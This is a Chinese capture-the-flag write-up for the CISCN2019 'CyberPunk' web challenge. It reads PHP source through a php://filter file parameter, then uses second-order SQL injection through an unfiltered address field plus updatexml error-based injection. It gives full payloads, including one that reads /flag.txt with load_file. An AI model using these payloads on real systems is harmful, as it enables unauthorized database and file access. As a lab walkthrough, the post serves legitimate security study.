[CISCN2019 华北赛区 Day1 Web5]CyberPunk

这是个二次注入的题

在index.php页面的响应最下面可以发现提示了?file=?,猜测应该是个读取文件的点

尝试伪协议读源码

?file=php://filter/convert.base64-encode/resource=index.php

把所有源码读到本地以后就是代码审计了,可以发现每个页面都对username和phone做了过滤

 但是并没有对address做过滤,只有在change.php页面对新提交的address做了特殊字符转义,但是还拼接了前一句的查询结果里的address值,这个值可是没有被黑名单过滤,而且还有 一个关键是做了if判断,如果上面的第一个查询结果正确,第二个结果报错就会将报错信息输出

 这里属于是叠buff了,二次注入+报错注入

1、插入数据时没有对address做过滤
2、修改数据时对拼接了前一句查询结果的address参数值
3、第一个查询有结果并且第二个查询语句报错,则将报错信息打印
 confirm.php页面上传
user_name=aa&phone=aaaa&address=a' where user_id=3 and updatexml(1,concat(0x7e,(select database()),0x7e),3)--+
change.php页面上传
user_name=aa&phone=aaaa&address=x

剩下的我以为就是报错注入加二次注入的正常流程了,address没有任何过滤

但是!!!!!!查半天才发现数据库里居然没有flag!!!!!!!!!!!!

最后时在根目录猜到的flag,还好没有改别名

最后的payload:

confirm.php:
//修改substr拿剩下的后半部分
address=a' where user_id=3 and updatexml(1,concat(0x7e,substr((select load_file('/flag.txt')),1,25),0x7e),3)--+

change.php:

username和phone同confirm.php,address随便写

  • 10
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值